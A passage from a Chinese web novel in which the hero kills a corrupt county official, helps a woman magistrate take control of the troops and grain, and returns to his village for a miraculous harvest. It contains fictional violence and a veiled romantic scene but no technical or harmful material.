四名亲兵甚至来不及发出惨叫,便觉咽喉一凉,双手捂着脖子,赫赫有声地倒了下去。
每人的咽喉处,都插着一把薄如柳叶的飞刀,直没至柄。
王囤从阴影中走出,拍了拍手,脸上露出一丝憨笑。
那铁管子虽然厉害,但这飞刀绝活,用来摸哨最是好用。
江夜紧随其后,看了一眼地上的尸体,微微点头。
“干得不错。”
王囤挠了挠头:“嘿嘿,没东家那神火厉害。”
第209章 实力即是正义
柴房门板并**实。
“砰!”
一声爆响,门栓瞬间断裂,木屑横飞。
门板重重撞在墙上,震落一地灰尘。
屋内光线昏暗,角落里的干草堆上,沈砚秋猛地缩紧身子。
她发冠早已不知去向,一头青丝凌乱地散在肩头,原本整洁的官服也沾满了污垢和草屑。
听到巨响,她下意识地以为是庞戍那个畜生酒醒了来折磨他了。
绝望像潮水般淹没理智,他死死咬着嘴唇,直到尝到了铁锈般的血腥味。
“沈大人,这是打算在这个破地方过夜?”
一道熟悉又带着几分戏谑的声音,穿透飞扬的尘土传了进来。
沈砚秋身子一僵,手中的瓷片掉在地上。
她难以置信地抬起头。
逆光处,一道修长的身影立在门口。
虽然看不清面容,但那熟悉的青衫轮廓,还有那股子淡然气息,除了那个家伙,还能是谁?
“江……江夜?”
沈砚秋嗓音干涩。
江夜迈步走近,靴底踩在干草上发出细碎的声响。
随着他的靠近,一股浓烈的血腥气扑面而来,那是刚刚经历过杀戮才有的味道。
但这味道此刻在沈砚秋鼻端,竟比任何熏香都要让人安心。
“是我。”江夜走到她面前,蹲下身。
看到江夜那张棱角分明的脸,沈砚秋紧绷的那根弦松了,她双腿一软,整个人不受控制地向一旁倒去。
没有预想中的疼痛。
一只有力的臂膀稳稳揽住了她的腰。
隔着单薄的官服,那掌心的温度烫得她心尖发颤。
“能不能走?”江夜低头看她,眉头微皱,“庞戍对你用刑了?”
“没……只是饿了几顿。”沈砚秋借着他的力道勉强站直,目光落在他衣摆那几点暗红的血迹上,瞳孔骤缩,“你受伤了?”
“杀了点人,清理了些垃圾。”
江夜说得云淡风轻,仿佛只是随手拍**几只苍蝇。
他从怀里掏出两样东西,随手扔在满是灰尘的破木桌上。
“哐当。”
一块黑沉沉的虎头兵符,一本沾着血迹的厚账册。
沈砚秋盯着那块兵符,呼吸瞬间凝滞。
那是调动全县兵马的信物,庞戍从不离身,就连睡觉都要压在枕头底下。
如今这东西既然在江夜手里,那庞戍的下场……
“庞戍他……”沈砚秋声音发颤。
“**。”
江夜语气平淡,“脑袋开了花,拼都拼不起来。”
尽管心中已有猜测,可亲耳听到这个消息,沈砚秋还是觉得脑中轰鸣作响。
庞戍是朝廷命官!是正七品的县尉!
这可不是杀几个地痞流氓,这是捅破天的大罪!
“你……你疯了!”沈砚秋一把抓住江夜的衣袖,手指因为用力而发白,“杀害朝廷命官形同**!若是朝廷查下来,我都保不住你!”
她越说越急,眼眶通红,既是恐惧也是担忧。
“朝廷?”
江夜嗤笑一声,反手扣住她的手腕,稍微用力一拉。
沈砚秋猝不及防,整个人撞进他怀里。
江夜抬手,虎口卡住她的下巴,强迫她抬起头看着自己。
两人离得极近,呼吸交缠。
“沈砚秋,你还没看清吗?”
江夜盯着她的眼睛,声音低沉而霸道,“如今这世道,哪还有什么王法?庞戍勾结山匪奸商,残杀流民,甚至想屠我的村,杀我的妻儿。难道我要伸长脖子等他砍?”
“可是……”
“没有可是。”江夜手指在她细腻的脸颊上轻轻摩挲,指腹带着薄茧,有些粗糙,却让沈砚秋忘了挣扎,“乱世之中,拳头就是道理,实力即是正义。”
“庞戍不是我杀的。”
江夜嘴角勾起一抹森冷的弧度,“是流民**,庞大人为国捐躯,不幸惨死。至于那些粮商和亲兵,也是死于乱军之中。”
沈砚秋愣住了。
她看着眼前这个男人,只觉得陌生又危险,却又带着一股致命的吸引力。
“流民……**?”她喃喃自语。
“对,流民**。”江夜松开手,指了指桌上的账本,“再加上这上面记着庞戍这些年作奸犯科的证据。有了这个,他就是死一万次也是罪有应得。
到时候朝廷只会嘉奖你平乱有功,谁会为了一个**,去深究一群暴民的去向?”
沈砚秋并非迂腐之人,只是身在官场,习惯了循规蹈矩。
此刻**夜一点拨,她眼中的迷茫渐渐散去,取而代之的是一抹决然。
庞戍已死,这青石县的天,确实该变了。
“我明白了。”沈砚秋深吸一口气,伸手抓起桌上的兵符冷静下来。
江夜笑了,伸手帮她理了理凌乱的鬓发。
“走吧,沈大人,明早还有三百号大头兵等着你去训话。”
……
次日清晨。
县衙外的校场上,三百名全副武装的县兵列队而立。
空气中弥漫着不安和躁动。
昨夜县尉府的**和惨叫,早已传遍全城。
庞大人**,亲兵营也没了,如今群龙无首,这些大头兵们人心惶惶,不知该
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何去何从。
“肃静!”
一声厉喝从高台传来。
沈砚秋一身绯色官袍,头戴乌纱,手持兵符,大步走上点将台。
经过一夜的修整,她虽面色微白,但那双凤眸中却透着前所未有的威严。
江夜并未露面,而是坐在不远处的茶楼二楼,手里把玩着那把精巧的AWM**,透过窗户静静看着这一幕。
“见兵符如见军令!”
沈砚秋高举虎符,声音清亮,“庞戍身为县尉,不思报国安民,反倒勾结山匪,私吞赈灾粮款,鱼肉百姓!昨夜流民哗变,庞戍及其党羽已被乱军格杀!”
台下一片哗然。
士兵们面面相觑,虽然心中疑窦丛生,但看着那枚如假包换的兵符,再看看周围那些手杀气腾腾的护卫,谁也不敢当出头鸟。
“本官已查明庞戍十大罪状!”
沈砚秋将一本账册狠狠摔在案上,“即日起,青石县由本官暂代军务!凡我大宣将士,当以保境安民为己任,若有敢趁机作乱者,庞戍便是下场!”
她顿了顿,目光看向校场角落。
那里,江夜正坐在一把太师椅上,手里端着盖碗茶,优哉游哉地刮着茶沫。
在他身后,王囤抱着那把黑漆漆的怪东西,咧嘴一笑,露出一口大白牙。
“若有不服者,便可以试试!”
话音落下,全场死寂。
片刻后,一名百夫长率先扔下兵器,单膝跪地:“愿听沈大人调遣!”
“愿听沈大人号令!”
三百县兵齐刷刷跪倒一片,甲胄碰撞声响彻广场。
沈砚秋见此,心中大安,唇角也不由得露出一丝笑意。
……
搞定了军队,剩下的便是那些富得流油的粮商。
庞戍一死,那些平日里依附他的奸商们早已吓破了胆。
沈砚秋雷厉风行,带着三百县兵,拿着账本一家家找上门。
“赵记粮行,囤积居奇,哄抬物价,勾结贪官!查封!”
“孙家米铺,私通匪寇,倒卖官粮!拿下!”
随着一道道封条贴上,一座座深藏在后院的地下粮仓被强行打开。
当那一袋袋沉甸甸的粮食被搬到大街上,堆积成山时,整个青石县沸腾了。
百姓们从四面八方涌来,看着那白花花的大米,一个个眼冒绿光。
沈砚秋站在粮山前,大袖一挥。
“开仓!放粮!”
简单的四个字,如同天籁。
“沈青天!沈青天啊!”
百姓们喜极而泣,纷纷跪地磕头。
欢呼声震耳欲聋,直冲云霄。
第210章 你想要什么?
接下来的两日,江夜并未急着回村。
庞戍虽死,但余毒未清。
他留在县衙后院,一边帮沈砚秋梳理庞戍留下的烂摊子,一边暗中震慑那些蠢蠢欲动的势力。
书房内,烛火通明。
案牍上堆积如山的公文**夜分门别类,处理得井井有条。
庞戍留下的烂摊子实在太大,若是让沈砚秋一个人理,怕是半个月都理不清,所以江夜决定多留两日。
“青石县粮价虚高,根源在于庞戍垄断。”
江夜手中朱笔未停,在一份公文上勾画了几笔,头也不抬地说道:“想要长治久安,得鼓励农桑,减免赋税。庞戍私吞的那批金银,正好用来填补亏空,修缮水利。”
沈砚秋坐在他对面,单手托腮,有些出神地看着眼前这个男人。
平日里见他,总是一副吊儿郎当、没个正形的模样。
**时,他又冷酷得像个来自地狱的修罗。
可此刻,他坐在案前指点江山,运筹帷幄的气度,竟比那朝堂之上的阁老还要沉稳几分。
这人脑子里到底装了多少东西?
种田、经商、**、治国……仿佛这世间就没有难得倒他的事。
“怎么?我脸上有花?”
江夜放下笔,似笑非笑地看向沈砚秋。
沈砚秋回过神,脸颊微烫,连忙端起茶盏掩饰尴尬:“只是没想到,你对治国之道也有涉猎。”
“略懂皮**。”江夜伸了个懒腰,“不过是些统筹规划的手段罢了。”
他站起身,绕过书案,走到沈砚秋身后。
沈砚秋身子瞬间紧绷,手中茶盏微微晃动。
“沈大人,公事谈完了。”江夜俯下身,温热的气息喷洒在她敏感的耳垂上,“是不是该谈谈私事了?”
沈砚秋耳根瞬间红透。
江夜双手撑在椅背上,将她圈在怀中,目光灼灼:“这两日为了帮你平乱,我可是费心费力,沈大人就不打算给点犒赏?”
沈砚秋心跳如鼓,呼吸变得急促。
她虽是女儿身,但多年女扮男装,混迹官场,早已练就临危不乱的本领。
唯独在这个男人面前,她所有的伪装都溃不成军。
“你……你想要什么?”沈砚秋声音微颤。
江夜嘴角勾起一抹坏笑,江夜将她打横抱起,大步往卧室走去。
“我想看看,威严赫赫的沈县令,脱了这身官袍,是什么模样。”
“江夜!你混蛋……”
沈砚秋的惊呼声被堵在唇齿之间。
红烛摇曳,映照出两道交叠的身影。
这一夜,书房内的动静直到后半夜才渐渐平息。
……
接下来的两日,江夜过得可谓是神仙日子。
白天,他协助沈砚秋整顿吏治,提拔新人,将青石县的权力牢牢抓在手中。
晚上,便是二人的私密时光。
沈砚秋初虽羞涩难当,但在江夜这个老手的引导下,也渐渐食髓知味。
书房、卧榻、甚至是那张象征权力的太师椅上,都留下了二人荒唐的痕迹。
平日里那个清冷孤傲的沈县令,在江夜面前彻底化作了一滩春水。
她从未想过,男女之事竟能如此令人沉沦。
更没想到,江夜这厮花样百出,总能让她在羞耻与愉悦的边缘反复横跳,最后只能求饶。
第三日清晨。
天刚蒙蒙亮,江夜便已起身穿戴整齐。
沈砚秋裹着锦被缩在床角,露出的香肩上还残留着几点暧昧的红痕。
她看着正在系腰带的江夜。
“要走?”
声音有些沙哑,带着几分慵懒。
江夜回头,走到床边坐下,在她额头上落下一吻。
“家里那几个你也知道,再不回去,怕是要闹翻天了。”
沈砚秋轻哼一声:“你倒是雨露均沾。”
“没办法,能力太强也是一种烦恼。”
江夜
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厚着脸皮笑了笑,随即神色一正,右手一翻。
一把银白色的**凭空出现在掌心。
**。
这把枪通体镀银,造型狂野霸气,沉甸甸的质感透着一股冰冷的杀伐之气。
沈砚秋好奇地盯着这从未见过的物件。
“这是何物?”
“防身的家伙。”
江夜拉过她的手,将**放在她掌心。
沉重的分量让沈砚秋手腕微微一沉。
“这叫**,威力巨大,哪怕是穿着重甲的武将,挨上一枪也得是个透心凉。”
江夜握着她的手,指点她如何握持。
“这东西后坐力大,开枪时一定要双手握紧,手臂伸直,否则容易伤到手腕。”
他一边说,一边手把手教她打开保险,瞄准窗外的花瓶。
“三点一线,准星对准目标。”
江夜站在她身后,胸膛贴着她的后背,双手包裹着她的柔荑,耐心地纠正她的姿势。
温热的体温透过薄薄的中衣传来,让沈砚秋有些心猿意马。
但手中那冰冷的触感,又在提醒她这东西的危险性。
“这里是**,遇到危险,直接扣动,不用犹豫。”
江夜的声音低沉有力,“这**里有七发**,足够你应付绝大多数危险。若是有人敢对你不利,不管是谁,直接崩了他。”
沈砚秋握着枪,感受着那沉甸甸的分量,心中涌起一股暖流。
在这乱世之中,唯有这种绝对的力量,才能让她安心。
“记住了吗?”江夜问。
“记住了。”沈砚秋点头,眼中闪过一丝坚毅。
江夜松开手,从空间里又取出一盒**,放在床头。
“省着点用,这玩意儿不好造。”
末了,江夜又说了句。
“走了。”
他转身大步流星地走出房间。
沈砚秋赤足跑到窗边,看着那道青衫背影翻身上马消失在晨雾之中。
第211章 吾心安处
离开县城后,江夜并没有丝毫停歇,带着王囤往稻花村的方向疾驰。
王囤脸上挂着笑。
“东家,咱们这次回去,是不是就能过安生日子了?”
江夜单手勒缰,迎着扑面而来的风,眯了眯眼:“安生日子是打出来的,不是求来的。不过眼下这青石县,暂时没人敢再来咱们村撒野。”
庞戍一死,沈砚秋上位,再加上那三百号被收拾服帖的县兵,这方圆百里确实没人再敢动稻花村一根指头。
“那是!只要东家手里的家伙什响两声,谁来谁死!”王囤拍了拍背后的硬家伙,底气十足。
马蹄飞扬,转过几道山弯,熟悉的稻花村轮廓映入眼帘。
江夜目光微凝。
只见村口那株老槐树下,黑压压地挤满了人。
全村老少,无论男女,此刻竟都聚在那里。
“那是……大家伙都在?”王囤愣了一下。
此时,人群中不知是谁眼尖,指着远处飞驰而来的两骑,叫了一声。
“回来了!江先生回来了!”
这一声吼,让原本安静的人群瞬间炸开了锅。
江夜一拉缰绳,胯下骏马一声长嘶,稳稳停在村口十步开外。
尘土尚未落定,令王囤终生难忘的一幕发生了。
没有寒暄,没有拥挤,更没有嘈杂的询问。
“跪!”
老村长王满仓站在最前头,手中拐杖重重一顿,苍老的声音却透着一股子从未有过的亢奋与庄重。
“哗啦——”
数百名村民,动作整齐划一,齐刷刷地跪倒在地。
额头重重磕在黄土地上。
这一跪,跪的是救命之恩,跪的是再造之德。
庞戍要屠村的消息早已传回,若非江夜孤身闯虎穴,斩了那**的恶官,今日这稻花村,怕是早已鸡犬不留。
场面极度安静,只有风吹过树叶的沙沙声。
江夜坐在马上,目光扫过那一张张埋在尘土里的脸。
“都起来吧。”
江夜翻身下马,语气温和,“咱们村不兴这个。”
众人这才陆陆续续起身,看向江夜的眼神,狂热得像是看着活菩萨。
人群自动向两旁分开,让出一条宽敞的道。
不远处,四道倩影俏生生地立着。
白梦夏一身素白罗裙,肚子已经隆起得颇为明显,此时正一手扶着腰,一手牵着妹妹白梦秋。
白梦秋眼眶红红的,像是刚哭过,看到江夜的一瞬间,泪珠子又开始在眼眶里打转。
林间雪站在稍后的位置,依旧是那副怯生生的模样,看向江夜的眸子里,盛满了依恋。
“夫君……”
白梦夏轻唤一声,声音微颤。
江夜大步上前,张开双臂。
也不管周围还有几百双眼睛看着,他直接将走在最前面的白梦夏和白梦秋揽入怀中。
“我回来了。”
简单的四个字,却让怀里的两个女人瞬间破防,眼泪打湿了他的衣襟。
这两日,她们在家里提心吊胆。
如今见他完好无损地回来,那颗悬着的心才终于落地。
江夜松开两人,又看向林间雪和慕容晴。
慕容晴故作豪爽地锤了一下江夜的胸口:“你要是再不回来,老娘就带着凤啸寨的兄弟去县城了!”
“就你厉害。”江夜笑着刮了一下她的鼻子,顺势将她和林间雪也拥入怀中,“在家里有没有好好吃饭?”
林间雪脸颊绯红,小声若蚊:“吃……吃了,就是想你想得睡不着。”
感受着怀中四具温热的身体,还有她们腹中孕育的小生命,江夜只觉得这一路的奔波杀戮,都值了。
“行了行了,都别哭了,也不怕村里人笑话。”江夜笑着帮她们擦去泪水,“走,回家。”
正要迈步,袖子却被人轻轻扯住。
王满仓老
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脸涨红,胡须乱颤:“江先生……先别急着回家,有个地方,您得去看看!一定要去看看!”
江夜有些诧异:“看什么?”
“地!地里出神迹了!”王满仓声音都在发抖,指着村东头的方向,“您给的那神肥……显灵了!”
江夜眉梢一挑。
算算日子,那批用了神肥的稻子,确实该熟了。
“走,去看看。”
一行人浩浩荡荡地往田间走去。
当江夜站在田埂上,放眼望去时,饶是他早有心理准备,也不禁微微一怔。
只见原本贫瘠的土地上,此刻是一片金色的海洋。
稻杆粗壮如筷,密密麻麻地挤在一起。
每一株稻穗都沉甸甸地垂着头,谷粒饱满得像是要炸开,金灿灿的颜色在阳光下耀眼夺目。
王满仓跪在田埂上,捧起一串沉甸甸的稻穗,“活了一辈子,俺从来没见过这么好的庄稼!”
身后的村民们,一个个呼吸急促,眼眶通红。
对于这些面朝黄土背朝天的农人来说,庞戍**固然解气,但那毕竟离得远。
可眼前的粮食,却是实打实的命!
有了这些粮食,今年冬天不用饿**了,甚至明年、后年都能吃饱饭!
“江先生……”
一个汉子颤抖着声音,看着江夜,“这庄稼能长成这样,都是您的功劳!”
这话一处,无数村民们看着江夜的眼神,已经不仅仅是感激,而是近乎疯狂的崇拜。
在这个人命如草芥的乱世。
粮食,就是命。
谁能让他们吃饱饭,谁就是他们的天!
江夜不仅杀了欺压他们的恶霸,如今更是赐予了他们这般神迹般的丰收。
看着那一双双狂热的眼睛,江夜心中明白。
从这一刻起,稻花村这几百号人,哪怕是他指着前面的悬崖让他们跳,他们也会毫不犹豫地跳下去。
第212章 亩产一千五,神农降世
江夜没有多余的废话,也没有激昂的陈词滥调。
他只是抬起手轻轻往下一挥。
“开镰,收割!”
一声令下,如惊雷落地。
“吼——!!!”
“收粮喽!!”
压抑许久的欢呼声瞬间炸开,震得树梢上的麻雀扑棱棱乱飞。
村民们挥舞着早已磨得锃亮的镰刀,冲入稻田。
“唰!唰!唰!”
镰刀割断稻杆的脆响连成一片。
王满仓这位年过半百的老村长,此刻挽着裤腿,赤着脚踩在烂泥里,手中的镰刀舞得飞快。
一边割,一边念着:“列祖列宗保佑……列祖列宗开眼啊……这辈子没见过这么粗的杆子,没见过这么大的穗儿……”
隔壁崔家坳的村长崔守田得到消息,也带着几十号壮劳力赶来帮忙。
原本也就是想着帮衬一把,可当崔守田真正站在地里,手里攥着那沉甸甸的稻穗时,整个人都傻了。
他颤抖着剥开一粒谷壳。
里面的米粒饱满圆润,晶莹剔透!
“乖乖……”崔守田喉咙发干,狠狠咽了口唾沫,转头看向旁边的王满仓,“这庄稼真是成精了不成?!”
王满仓直起腰,虽然累得气喘吁吁,但那张老脸笑得跟朵菊花似的:“这都多亏了江先生的神肥!”
田间地头,热火朝天。
孩子们光着屁股在收割后的稻茬地里疯跑,捉蚂蚱,打滚。
偶尔有不懂事的想去拽那堆好的稻垛,立马就会被自家大人一巴掌拍在屁股上,哇哇大哭两声,转头又跑远了。
江夜在田边的一棵老歪脖子树下,摆了一张太师椅。
他半躺在椅上,手里端着一杯凉茶,惬意地眯着眼。
身旁,林间雪挺着孕肚,手里拿着一把蒲扇,为他扇着风。
她今日穿了一身素净的碎花布裙,头发简单挽了个髻,脸上未施粉黛,却透着一股子温婉的**韵味。
“夫君,还要添茶么?”林间雪声音软糯,眼神里满是崇拜与爱意。
看着田里那丰收的景象,她心里比吃了蜜还甜。
自家男人不仅能杀贼寇,还能种出这等神仙庄稼,这世上还有什么是他不会的?
“不用,歇会儿吧。”江夜拉住她的手,将她拉到腿上坐下,“怀着身孕呢,别累着。”
林间雪惊呼一声,脸颊瞬间红透,下意识地往四周看了看:“夫……夫君,被人看见了……”
“看见又如何?我抱自家媳妇,还得经过他们同意?”江夜在她脸上香了一口,惹得林间雪更是羞得要把头埋进他怀里。
……
数日之后。
千亩良田收割完毕。
稻花村原本宽敞的打谷场,此刻被堆积如山的金黄稻谷塞得满满当当。
全村老少,连带着崔家坳来帮忙的人,几百号人将打谷场围得水泄不通。
场中,架着一杆特制的巨型大秤。
王囤光着膀子,露出精壮的腱子肉,浑身汗如雨下。
他带着七八个壮汉,喊着号子,将一筐筐脱粒晒干的稻谷抬上秤台。
“起——!”
随着一声暴喝,大秤吱呀作响。
王满仓坐在桌案前,手里拿着算盘。
“五百斤…八百斤……”
随着最后一筐稻谷过秤,王满仓的手指猛地一顿。
他盯着算盘上的数字,眼珠子越瞪越大,整个人僵在那里一动不动。
周围死一般的寂静。
只有风吹过谷堆的沙沙声。
“叔?多少啊?”王囤抹了一把脸上的汗,忍不住催促道,“您倒是说话啊,大家伙都等着呢!”
王满仓猛地站起身,因为起得太急,连人带椅子摔在地上。
但他顾不上疼,双手死死抓着江夜的衣摆,声音嘶哑。
“江先生……江先生……”
江夜扶起他,神色淡然:“多少?”
王满仓深吸一口气,朝着人群吼出了那个惊世骇俗的数字。
“亩产……一千五百斤!!!”
要知道,在大宣朝,上好的良田,风调雨顺伺候
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着,一亩地撑死也就产个三百斤。
若是遇上灾年,百斤都不到。
一千五百斤?
那是神话!那是做梦都不敢想的数字!
“多……多少?”崔守田结结巴巴地问道。
王满仓举着账本,像个疯子一样嘶吼:“一千五百斤!只多不少!这还是去了壳的精米数!!”
这一次,所有人都听清了。
短暂的沉默后。
“哇——!!!”
巨大的欢呼声如同火山爆发,瞬间冲破了云霄。
“一千五百斤!俺滴个亲娘咧!”
“神迹!这是神迹啊!”
一名汉子噗通一声跪在地上,冲着江夜的方向疯狂磕头,脑门磕在硬邦邦的土地上,砰砰作响。
紧接着,一个,两个……
打谷场上,稻花村的村民几百号人齐刷刷地跪倒一片。
那场面,比见皇帝还要虔诚。
“神农降世……这是神农降世啊!”
王满仓伏在地上,额头重重磕在坚硬的黄土地上。
“江先生万岁!活菩萨啊!”
“活菩萨!江先生救了咱们全村的命啊!”
哭声,喊声,磕头声,混杂在一起。
在这个乱世,能**不算本事。
能让人吃饱饭,能让地里长出五倍的粮食,那就是天!就是神!
慕容晴看着那个被万人膜拜的背影,不禁有些失神。
她摸了摸隆起的肚子,嘴角勾起一抹骄傲的弧度。
这就是她选的男人。
江夜看着眼前这黑压压跪倒一片的人群,心中也难免有些触动。
他上前一步,虚扶了一把王满仓,朗声道:
“都起来吧。”
“这才哪到哪?以后好好干别说吃饱饭,顿顿有肉也不是梦。”
“谢江先生!!”
村民们再次叩首,眼中的狂热几乎要化作实质。
林间雪站在江夜身后,看着那个被众人如神明般膜拜的男人,手掌轻轻抚摸着隆起的小腹。
眼中满是骄傲与柔情。
第213章 几家欢喜,几家愁
与此同时,崔守田站在粮堆旁,他看着被众人如众星捧月般围在中间的江夜,原本心底那一丝因稻花村得势而生的酸溜溜嫉妒,此刻早已烟消云散。
取而代之的,是深入骨髓的敬畏。
在这个靠天吃饭的年头,能让粮食产量翻上五倍的人,与神无异。
跟神作对?那是嫌命长。
“老王啊……”崔守田转过头,看着旁边笑得见牙不见眼的王满仓,嗓音干涩,“往后这十里八乡,怕是都要看江先生的脸色过活了。”
王满仓挺直了腰杆,一脸傲然:“那是自然!”
崔家坳带来的那几十个壮劳力,此刻更是满脸的羡慕与敬畏。
江夜拍了拍衣摆上的灰尘。
喧闹的人群瞬间安静下来,数百双眼睛齐刷刷地盯着他,等待着他的示下。
“规矩就是规矩。”
江夜走到那堆积如山的稻谷前:“当初说好的,我出肥料,收成三七分成。这些谷子我要拿走三成。”
若是放在以往,地主老财要是提出收三成的租子,佃户们怕是要拿锄头拼命。
可此刻,村民们的脸上没有半点不舍,反而全是狂热。
“江先生,您拿四成……不,拿五成都行!”一个汉子高声喊道,“要不是您的神肥,别说一千五百斤,这地里能刨出三百斤都算老天爷赏饭吃!”
“是啊!就算剩下七百五十斤,那也是往年的两倍多啊!”
“江先生仁义!”
村民们是个实在人,心里那笔账算得比谁都清。
往年累死累活,一亩地收三百斤,交了税,留了种,剩下的连稀粥都喝不饱。
如今虽然分出去一半,可自家还能剩下七百多斤精米!
这是什么概念?
这就意味着,哪怕顿顿吃干的,吃到明年新米下来,家里的米缸还是满的!
“说三成便是三成,我不占你们便宜。”江夜止住了众人的推让,转头看向王囤,“带人过秤,入库。”
“好嘞!弟兄们,干活!”
王囤赤着膊,一声吆喝。
护村队的汉子们立刻上前,推着独轮车,扛着麻袋,开始搬运属于江夜的那份粮食。
剩下的村民们也纷纷推着自家的板车、独轮车蜂拥而上,抢着帮忙。
“当家的,慢点推!别撒了!”
“爹,我也来帮忙!”
“这米真白啊,看着就香!”
江夜负手而立,看着这一幕,嘴角噙着淡淡的笑意。
“夫君。”
身侧传来一阵香风。
白梦夏扶着腰走过来,手里拿着一方丝帕,轻轻替他擦去额角的细汗,“累坏了吧?”
“动嘴皮子而已,累什么。”江夜顺势握住她的手,目光扫过旁边的白梦秋、慕容晴和林间雪,“倒是你们,天这么热,跟过来做什么,腿酸不酸?”
“不酸。”白梦秋摇摇头,一双美眸亮晶晶的,“夫君,刚才那些人看你的眼神,好像在拜菩萨呢。”
慕容晴挺了挺肚子,一脸骄傲:“那是,也不看看是谁挑的男人。夫君这手段,要是放在江湖上,高低得混个武林盟主当当。”
林间雪抿嘴一笑,温柔地替江夜整理了一下衣领:“夫君,回家吧,我给您做红烧肉。”
“走,回家。”江夜大手一挥,“今晚咱们也庆祝庆祝。”
……
稻花村收成翻几倍的消息,不到半个时辰就传遍了周边的村落。
“听说了吗?稻花村亩产一千五百斤!”
“真的假的?吹牛吧?”
“骗你做甚!崔家坳的老崔亲眼看见的,说都是因为用了江先生的神肥!”
“我的天爷啊……那咱们……”
“咱们县太爷不是说了吗?全县推广神肥!那神肥可是江先生献出来的!”
一时间,周围十里八乡彻底沸腾了。
无数村民自发地走出家门,朝着稻花村的方向遥遥跪拜。
在这乱世之中,谁能让他们吃饱饭,谁就是再生父母。
……
夜幕降临。
稻花村里却是一反常态的热闹。
家家户户的烟囱里都冒着浓浓的炊烟,空气中弥漫着令人垂涎欲滴的米香和肉香。
往日里舍不得吃的鸡鸭,今儿个全都遭了殃。
村东头的李大柱家。
一家老小围坐在破旧的木桌旁,桌正中间摆着一大盆白花花的米饭,旁边是一碗炖得烂乎乎的鸡肉,还有一盘炒鸡蛋。
李大柱端起碗,深深吸了一口气,眼眶通红。
“吃!都敞开了吃!今儿个咱们不喝粥!”
孩子们欢呼一声,这一夜,稻花村只有欢笑声。
然而,人类的悲欢并不相通。
王翠花缩在自家摇摇欲坠的破茅草屋里,身上裹着一件打满补丁的旧袄子。
隔壁赵家飘来的大米香,像是一只无形的手,勾得她肚子里的馋虫疯狂翻滚。
“咕噜——”
王翠花咽了口唾沫,借着月光,看了一眼身后那口空荡荡的米缸。
里面只有几粒陈米,还有半块发了霉的糠饼。
“作孽啊……”
王翠花嘴唇哆嗦着,眼泪哗啦啦地往下掉。
当初江夜推广神肥的时候,全村人都信了,用了,唯独她王翠花不信,不用,也不准王大壮用。
结果呢?
人家用了神肥的,一亩地收了一千五百斤!哪怕分给江夜三成,剩下的也堆满了仓。
听着隔壁传来的划拳声和笑闹声,王翠花心里那个悔啊,肠子都青了。
她双手抓着乱糟糟的头发,身子顺着门框滑下去,一屁股坐在冰凉的地上,泪流满面。
“老天爷啊!你不长眼啊!”
“凭什么啊!凭什么赵癞头那个泼皮都能吃肉,老娘就要挨饿啊!”
“我不活了啊!这日子没法过了啊!”
她哭得
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撕心裂肺,两条腿在地上乱蹬,扬起一阵尘土。
她正哭得肝肠寸断,破烂的木门“吱呀”一声被推开。
王大壮一身疲惫地走了进来,脸上沾着泥,手里空空如也,身上那股子汗馊味混着泥土的腥气,让王翠花本就糟糕的心情更是雪上加霜。
“你还知道回来?死外面了?!”王翠花一骨碌从地上爬起来,指着王大壮的鼻子就开骂,“全村人都在吃肉!吃白米饭!你呢?你这个窝囊废!连根草都没给老娘叼回来!我要你这个男人有什么用!”
王大壮没说话,甚至连看都没看她一眼。
他径直走到墙角,一屁股坐在那张缺了腿的破板凳上,背对着王翠花,像一尊沉默的石像。
这无声的蔑视,比任何恶毒的回骂都让王翠花抓狂。
“王大壮!你聋了还是哑了?老娘跟你说话呢!”她疯了一样扑过去,指甲朝着王大壮的后背就抓。
就在她的指甲即将触碰到衣服的瞬间,王大壮猛地回过头。
他的眼神,是王翠花从未见过的冰冷与陌生,像村口那口枯井,深不见底。
“骂够了?”
他的声音很平静,却让王翠花伸出的手僵在了半空。
王翠花愣住了,一时间竟忘了该如何撒泼。
王大壮扯了扯嘴角:“当初是谁说江夜的神肥是**,用了地里会长不出庄稼?”
王翠花嘴唇哆嗦了一下。
“当初是谁拦着不让我去护院队,说给江夜当狗,丢了王家的脸?”
王翠花的脸色开始发白。
“当初是谁站在村口,叉着腰骂人家是败家子,活该被雷劈?”
王大壮一句一句,像是在钉钉子,把王翠花死死地钉在了耻辱柱上。
他缓缓站起身,个头明明没变,却给王翠花一种前所未有的压迫感。
“人家吃肉,那是人家信了江先生,跟着江先生干活,拼了命换来的!你呢?你除了在背后嚼舌根子,你干了什么?”
“我……”王翠花被问得哑口无言,只能使出最后的招数,一屁股坐在地上,拍着大腿嚎啕大哭,“你现在怪我了?你还是不是个男人!眼睁睁看着自己婆娘挨饿,你还有脸说我!你没本事,你就是个废物!”
“对,我没本事。”王大壮看着在地上打滚的王翠花,眼神里最后一点情绪也消失了,只剩下麻木的死寂,“这日子,你自己过吧。”
说完,他转身就朝门口走去。
“王大壮!你敢走!你走了就别回来!”王翠花声嘶力竭地尖叫。
王大壮的脚步顿了一下,却没有回头,只是冷冷地丢下一句话。
“这破家,谁爱回谁回。”
“砰!”
木门被重重关上,将光明与喧嚣彻底隔绝。
屋里,再次陷入冰冷的黑暗。
王翠花的哭嚎声戛然而止,她傻傻地坐在地上,愣愣地看着那扇紧闭的门。
第214章 要生了
夜深人静,王翠花依旧呆坐在冰冷的地板上。
隔壁院子,又传来一阵哄堂大笑和孩子抢肉吃的欢呼。
那声音,此刻听在王翠花耳中,像一把把烧红的尖刀,将她的心捅得千疮百孔。
饥饿感在她的胃里疯狂翻滚。
她饿得眼冒金星,脑子里只有一个念头——吃肉,吃饭。
凭什么?凭什么全村人都在大鱼大肉,自己却要在这里挨饿受冻?
都是江夜!都是那群捧江夜臭脚的贱骨头!
怨毒和饥饿交织在一起,烧掉了王翠花最后一丝理智。
一个疯狂的念头从心底钻了出来。
不给老娘吃?老娘自己去拿!
她猛地从地上爬起来,她记得,王囤家里的粮仓就在院子西侧,那里堆着分给护院队的粮食,是全村除了江夜家以外,粮食最多的地方!
王翠花舔了舔干裂的嘴唇,蹑手蹑脚地推开门,贴着墙根,鬼鬼祟祟地摸进了黑暗之中。
王囤家的院墙不高,她手脚并用,哼哧哼哧地翻了过去,落地时崴了脚,疼得她龇牙咧嘴,却不敢发出半点声音。
粮仓的木门上,只挂着一把普通的铜锁。
王翠花从地上摸起一块石头,对着锁头狠狠砸了下去!
“哐当!”
清脆的响声在寂静的夜里显得格外刺耳。
还没等她砸第二下,两道黑影如同鬼魅一般,从黑暗中窜出,一左一右,将她的胳膊死死拧住。
“什么人!”
冰冷的呵斥声在耳边炸响。
王翠花吓得魂飞魄散,尖叫一声,手里的石头“啪嗒”掉在地上。
火把瞬间亮起,照亮了她那张因惊恐而扭曲的脸。
